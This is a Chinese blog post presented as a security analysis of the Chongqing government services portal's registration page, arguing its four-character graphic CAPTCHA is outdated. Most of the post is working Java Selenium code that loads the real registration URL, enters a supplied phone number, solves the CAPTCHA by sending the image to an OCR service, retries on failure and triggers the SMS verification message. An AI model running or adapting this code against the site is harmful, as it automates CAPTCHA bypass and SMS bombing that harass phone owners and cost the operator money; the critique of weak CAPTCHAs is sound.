【重庆政务服务网-注册_登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 重庆政务服务网PC 注册入口

简介:重庆市网上办事大厅主要涵盖行政审批、公共服务、政务公开、问政咨询四大功能模块,致力于为企业和群众提供全流程、全天候、全地域的网上政务服务,包括办事指南、在线申报、业务查询、评价反馈、咨询投诉等,实现政策信息网上公开、审批服务网上办理、咨询评价网上互动、政府效能网上监督。

安全分析:

采用传统的图形验证码方式,具体为4个英文及数字,ocr 识别率在 95% 以上。

测试方法:

采用模拟器+OCR识别

1 模拟器交互部分

java 复制代码
private IdCardGenerator g = new IdCardGenerator();
	private OcrClientDddd ddddOcr = new OcrClientDddd();

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			String INDEX_URL = "https://authcq.cqdcg.com:1443/sso/register";
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);

			// 1 输入手机号
			WebElement phoneElement = ChromeUtil.waitElement(driver, By.id("phone"), 1);
			phoneElement.sendKeys(phone);

			// 2 获取图形验证码
			int count = 0;
			String imgCode = "";
			WebElement inCodeElement;
			String errInfo = null;
			while (count < 6) {
				byte[] imgByte = GetImage.callJsByName(driver, "code___3WW3V", null);
				int len = (imgByte != null) ? imgByte.length : 0;
				imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
				if (imgCode == null || imgCode.length() < 1) {
					driver.findElement(By.className("code___3WW3V")).click();
					Thread.sleep(1000);
					continue;
				}
				// 3 输入识别出来的图形验证码
				inCodeElement = driver.findElement(By.xpath("//input[contains(@placeholder,'请输入图形验证码')]"));
				ChromeUtil.clearbackSpace(inCodeElement);
				inCodeElement.sendKeys(imgCode);

				// 4 点击获取验证码
				Thread.sleep(1 * 1000);
				WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
				((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);

				WebElement errElement = ChromeUtil.waitElement(driver, By.xpath("//span[contains(text(),'图形验证码校验失败') or contains(text(),'http error')]"), 20);
				errInfo = (errElement != null) ? errElement.getText() : null;
				if (errInfo != null && errInfo.contains("校验失败")) {
					Thread.sleep(1000);
					continue;
				}
				break;
			}
			WebElement gtElement = ChromeUtil.waitElement(driver, By.xpath("//button/span[contains(text(),'秒')]"), 50);
			String gtInfo = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg(gtInfo);
			retEntity.setMsg("imgCode:" + imgCode + "(" + count + ")->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("重新发送")) {
				retEntity.setRet(0);
			}else if (errInfo!=null){
				retEntity.setMsg(errInfo);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

2 获取图形验证码

java 复制代码
public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl);
				return null;
			}
			int len = (bigImage != null) ? bigImage.length : -1;
			if (len < 0) {
				System.out.println("getImgCode() len=" + len);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);
			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10 * 1000);
			con.setReadTimeout(10 * 1000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
			out = con.getOutputStream();
			out.write(boundarybytesString.getBytes("UTF-8"));
			String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
			paramString += "Content-Type: application/octet-stream\r\n\r\n";
			out.write(paramString.getBytes("UTF-8"));
			out.write(bigImage);

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));
			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}

3 测试返回结果:

4 测试报告 :

二丶结语

重庆市网上办事大厅主要涵盖行政审批、公共服务、政务公开、问政咨询四大功能模块,致力于为企业和群众提供全流程、全天候、全地域的网上政务服务,包括办事指南、在线申报、业务查询、评价反馈、咨询投诉等,实现政策信息网上公开、审批服务网上办理、咨询评价网上互动、政府效能网上监督。。 ‌政务服务平台,应该重点关注安全,并且拥有强大的技术资源, 采用的却还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
dunge20269 小时前
2026年8月更新:ChatGPT与Codex开发实践——从工具使用到AI工程工作流,开发者如何建立长期生产力体系(GPT-5.6技术分享)
人工智能·gpt·chatgpt
硅基流动9 小时前
OPC 南川:超级个体的疯狂探索|开发者说
人工智能
147API9 小时前
AI 图片编辑接口报 400 怎么排查?先读错误体,再查参数、图片与 mask
网络·人工智能
xiaoxiaoxiaolll9 小时前
AI-有限元融合的复合材料多尺度建模与性能
人工智能
zyplayer-doc10 小时前
同一份制度别复制到多个知识库:用zyplayer-doc引用文档解决重复维护
javascript·人工智能·智能手机·开源·ocr
ASKED_201910 小时前
从 Chat Completions 到 Agent Runtime:主流大模型接口协议全景与设计对比
人工智能
站长工具箱10 小时前
讯飞Loomy测评:整合飞书钉钉QQ消息的AI自动办公工具深度体验
人工智能·钉钉·飞书
小刘快学习10 小时前
广告素材生产,直连模型还是走聚合网关
人工智能
Wang's Blog10 小时前
AI Agent白手起家46: LangChain 向量数据库实战 — 从增删查到高级检索
人工智能
QYR_Jodie10 小时前
高增赛道爆发!2026-2032工业制冷市场分析:预计2032年将达到174.4亿美元
大数据·人工智能·市场报告